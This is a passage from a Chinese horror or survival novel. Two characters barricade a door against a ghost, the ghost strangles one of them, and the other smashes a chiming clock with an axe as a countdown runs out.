“哦……哦!” 他如梦初醒,匆匆到小卧室中搬出长桌,而洛晚动作飞快,此刻已经“砰”地重新关上了门。 1:59:43。 房门被撞得“哐”“哐”响,两个人合力把桌椅堵到门口,又把盆、被子、书本等杂物堆到桌子上。 1:59:49。 洛晚把斧头塞进王彬手里:“你力气大,待会儿你去破坏座钟,我来守门!” 王彬咬着牙攥紧斧头,破釜沉舟地走到座钟旁。 1:59:55。 巨大的撞门声突然消失了。 洛晚刚松一口气,忽然想到了什么—— 她猛地转过身,果然,小鬼正站在书房与小卧室的交界处,阴森怨毒地看着她! “第、四、个,找、到、了!” 脖颈一把被掐住,洛晚的脸孔瞬间涨成紫红。鬼的力气非常大,她连挣扎的余地都没有。 “咳、咳咳咳……呃呃……” 她的身体被高高提起,眼前一片模糊。脖颈上冰冷的手逐渐收紧,就在洛晚觉得脖子马上要被折断时,钟声终于响起了: “当”“当”—— “砰”! 下一秒,王彬狠狠砸碎了座钟,同时她重重地跌到地上。 洛晚捂着喉咙不停咳嗽,嘴里满是铁锈味。小鬼在钟声响起后就消失了,她看着王彬发狠地猛砸座钟,心中只有一个念头—— 总算是结束了。